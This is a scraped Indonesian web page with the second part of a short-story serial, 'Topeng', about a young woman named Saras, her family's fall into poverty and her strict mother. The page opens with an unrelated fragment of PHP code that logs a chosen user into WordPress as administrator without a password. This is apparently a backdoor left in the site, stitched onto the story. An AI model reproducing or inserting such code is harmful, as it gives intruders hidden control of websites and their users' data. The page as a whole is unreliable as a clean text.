user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Topeng [2]

19 Apr 2012


<< cerita sebelumnya

Saras lahir sebagai anak orang kaya. Tapi, hanya sebentar. Kemewahan duniawi itu hanya dapat ia cicipi sampai umurnya mencapai tahun keempat. Amat singkat, sampai ia hampir tak dapat mengingat. Dia benar-benar belum mengerti apa pun, ketika keluarganya mendadak jatuh miskin. Perusahaan percetakan yang dimiliki ayahnya bangkrut. Gulung tikar. Entah kenapa. Padahal, dulu perusahaan itu sangat maju. Mungkin, karena Ayah terlalu hobi berjudi, sampai dia lupa diri. Atau, terlalu asyik bermain dengan wanita, sampai dia harus kehilangan segala harta benda.

Satu per satu harta keluarga mereka diangkut oleh pihak bank untuk menutupi utang perusahaan yang belum sempat terbayar. Sebagian dijual, kata Ibu, untuk modal memulai usaha lagi dari awal. Saras benar-benar tidak tahu alasan sebenarnya, karena sampai kini Ibu selalu menolak bercerita. Yang dia tahu, ini semua salah Ayah. Kesalahan fatal, sampai dia harus turut menanggung akibatnya. Hidupnya berubah drastis hanya dalam sekedip mata.

Keminderan Saras makin menjadi. Dia makin menutup diri dalam pergaulan. Tragis! Sudah dasarnya sulit bergaul, menutup diri pula. Tapi, itulah keadaannya. Saras tidak dapat melepaskan diri dari belenggu itu, sekuat apa pun dia meronta. Sikap harus menerima yang tertanam dalam dirinyalah yang membungkamnya. Membentuknya menjadi pribadi introver. Sulit didekati.

Bagaimana rasanya, jika melihat teman-teman sebaya bermain dengan asyiknya, sedangkan kau hanya bisa memandangi dalam diam? Saras pernah mengalaminya di bangku TK. Dia tidak tahu, kenapa hanya dia sendiri yang tidak bisa bergabung dengan mereka. Padahal, itu teman-teman sekelasnya. Tapi, jangan tanya perasaannya saat itu!

Dia juga ingin punya sahabat karib. Teman dari masa kecil. Yang bisa diajaknya tertawa cekikikan di pojok kelas saat istirahat. Yang mau saling menukar bekal makan siangnya. Yang menggandeng tangannya waktu berjalan ke kelas mereka. Teman abadinya. Teman sepanjang masa, bahkan hingga mereka dewasa, lalu beranjak tua. Kenapa tidak ada yang menghampirinya? Kenapa tidak ada yang mau mengulurkan tangan kepadanya? Apa yang salah dan kurang dalam dirinya, hingga orang lain menolak menjadi karib?

Tapi, satu hal: jangan suruh dia mendekati mereka lebih dulu. Tidak. Saras tidak bisa. Dia tidak mau ditolak seperti dulu! Setelah kejadian itu, dia bersumpah dalam hati: tidak akan pernah terulang lagi! Hanya karena salah berucap kata! Dalam hatinya, Saras memberontak dan merasa dia tidak bersalah. Apa yang dilontarkannya, berdasarkan apa yang dilihatnya. Bukan dia yang salah! Orang lain yang terlalu mudah tersinggung!

Terlepas dari benar atau salah, sikap defensif itu membuatnya puas. Memunculkan tekadnya. Mengubah kelemahan menjadi kekuatan.

Mungkin Saras tidak akan pernah lupa bersyukur memiliki seorang ibu seperti ibunya, kalau saja sikap dan keinginan Ibu sejalan dengannya. Tidak perlu banyak-banyak. Sekali saja! Tapi, tidak pernah. Atau, mungkin bukan tidak pernah, tapi Saras tidak ingat. Tidak perlulah membicarakan soal kehangatan pelukan dan ciuman. Dia, toh, bukan bayi lagi. Dia ingin yang lebih dari sekadar itu. Tapi, mengapa sulit sekali memperoleh kebebasannya sendiri?

Ibu selalu memantau kegiatannya. Tidak pernah membiarkannya melakukan apa-apa sendirian. Terlalu banyak melarang. Mengekang. Overprotective. Bahkan, sampai ia dewasa. Mungkin, bagi Ibu, inilah wujud rasa cintanya yang amat sangat kepada putri yang disayanginya. Tapi, bagi Saras, ini hanyalah wujud pengekangan terhadap pengembangan dirinya. Bagai hidup dalam sangkar. Dikasihi, dimanjakan, dicukupi segala kebutuhan, tapi tidak pernah diizinkan terbang dan mengenali alam. Mungkin, Ibu takut, saat diberi sedikit kebebasan, dia akan terbang jauh, hilang, dan lupa pulang.

Tapi, apa bedanya dengan sekarang? Ketika untuk pertama kalinya dia lepas menjauh dari pengawasan Ibu untuk kuliah di kota lain, hilanglah semua. Mata tajam Ibu. Nasihat-nasihat membosankan. Bukan itu saja. Dia pun mulai kehilangan kepolosan dan keluguannya. Bagai lepas kendali, Saras melihat, menerima, dan mereguk semua kebebasan yang ditawarkan metropolitan begitu saja. Anak manis itu langsung berubah menjadi angsa liar.

Tapi, Saras tak pernah merasa ada yang salah. Ia menganggap ini sebagai suatu penghargaan atas prestasinya mengekang diri dengan sabar selama ini. Zaman makin maju. Dia harus berlari untuk bisa terus mengikutinya, kalau ia ingin survive. Dia juga tetap tidak merasa bersalah, ketika pada suatu malam, dengan rela hati, dihilangkannya pula keperawanannya untuk seorang pria yang baru dikenalnya. Datang, ambil, pulang. Saat semua selesai, Saras merasa, dia sudah menjadi dewasa seutuhnya.

Saras belum pernah benar-benar mencintai seorang pria seutuhnya. Pria-pria itu hanya lewat begitu saja, tanpa diperbolehkan singgah di hatinya. Dia dapat bercinta, tanpa harus mencintai. Karena itu, dia belum mau berpacaran. Buat apa? Toh, pasti dilarang Ibu, bila ketahuan.

Bagi Ibu, yang paling penting saat ini adalah belajar, belajar, dan belajar. Menuntut ilmu. Mengembangkan bakat. Menabung bekal untuk menata hidup ke depan. Setelah itu, boleh mengenal pria.

Advertisement
“Kalau kau pandai, pria mana pun tidak akan berani menginjak-injakmu,” nasihat Ibu.

Padahal, Ibu sendiri tidak pandai. Bukan sarjana. Bukan wanita karier. Hanya ibu rumah tangga. Suatu profesi mulia, tapi ketinggalan zaman!

“Kau harus bisa mandiri. Jangan tergantung pada pria, sekalipun itu suamimu,” kata Ibu, lagi.

Kali ini ada benarnya. Lihatlah Ibu! Apa jadinya nasib keluarga ini, kalau beliau adalah wanita lemah yang tak berdaya tanpa pria? Sementara kehidupan Ayah tak lagi perkasa. Kalau tak ada Ibu, entah bagaimana nasib keluarga ini. Mungkin, dia dan saudara-saudaranya tak bisa melanjutkan sekolah. Untunglah, Ibu tak mau menyerah pada nasib. Berdagang kecil-kecilan. Meski untung tak seberapa, dijalaninya dengan tabah.

“Kutantang kau untuk terus menuntut ilmu sampai setinggi langit. Ke mana pun dan berapa pun biayanya, aku berjanji pada kalian, anak-anakku, akan kuusahakan dengan sekuat tenaga.”

Untuk yang satu ini, harus diakui, Ibu memang hebat. Daya juangnya kuat. Dia pantang menyerah. Tak pernah tampak lelah, walaupun dia harus berjuang sendirian tanpa dukungan penuh dari Ayah.

“Pesanku, bila kau ingin hidup berkeluarga, carilah suami yang mau bekerja. Bukan hanya pria kaya. Lihat keluarga ayahmu! Kurang kaya bagaimana lagi mereka? Tuan tanah dengan perkebunan luas di mana-mana.
Tapi, lihat ayahmu! Karena sejak kecil dilimpahi harta, tidak diajarkan untuk bekerja, selalu dimanja karena anak tunggal, apa jadinya? Bahkan, lulus kuliah pun tidak. Berapa pun warisan yang ditinggalkan orang tuanya, semua habis sia-sia. Kau jangan jadi seperti dirinya. Harus pandai. Tidak boleh sombong. Belajarlah rendah hati selalu.”

Sepercik bara melintas di mata Saras. “Di mata Ibu, sepertinya Ayah sudah tak ada artinya lagi. Lalu, kenapa dulu Ibu memilihnya menjadi suami? Ayah bukan pekerja keras kan, malah seorang pemalas.”

“Panjang ceritanya, Nak. Kau pasti akan kuberi tahu semuanya. Suatu saat nanti. Tapi, bukan sekarang.”

Saras menatap tajam mata Ibu. Berusaha menembus isi hatinya yang terdalam. Tapi, tatapan Ibu tak menyiratkan apa pun. Dia hanya menatap lembut anak gadisnya, seraya mengusap-usap kepalanya. Saras tak pernah mengerti Ibu. Bagaimanapun kerasnya dia belajar memahami wanita yang sudah melahirkannya itu, di hatinya selalu timbul tanda tanya besar tentang sosok wanita itu. Dia ingin sekali belajar, tapi Ibu tak pernah memberinya kesempatan. Hanya nasihat-nasihatnya yang dihafal Saras dengan baik, walaupun tak banyak yang melekat di hati. Hanya dengan bekal itulah, Saras menjalani hidupnya setiap hari. Termasuk tentang pria.

Kalau disuruh mengakui, Saras pasti akan mengatakan bahwa dia lebih mencintai Ayah ketimbang Ibu. Seumur hidupnya, Ayah yang dikenalnya adalah sosok ayah yang periang, lembut, baik hati, dan mengerti jiwa anak-anaknya. Ayah yang tak pernah memaksakan kehendaknya. Ayah yang tak pernah mengekang hidup anak-anaknya. Ayah yang selalu memberinya kebebasan memilih. Bahkan, ayah yang bisa diajaknya berkompromi dalam hal apa pun, termasuk saat ia sedang membohongi ibunya.

Hanya ada satu cacat Ayah di matanya. Dia bukan siapa-siapa lagi. Ayah bukan lagi seorang bos, pemilik perusahaan percetakan yang cukup tersohor itu. Ayah kini hanya seorang ‘bapak rumah tangga’ yang tak berdaya. Dihidupi oleh uang istri. Figur yang makin hari makin terlindas oleh otoritas Ibu.


Penulis: Mya Ye




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?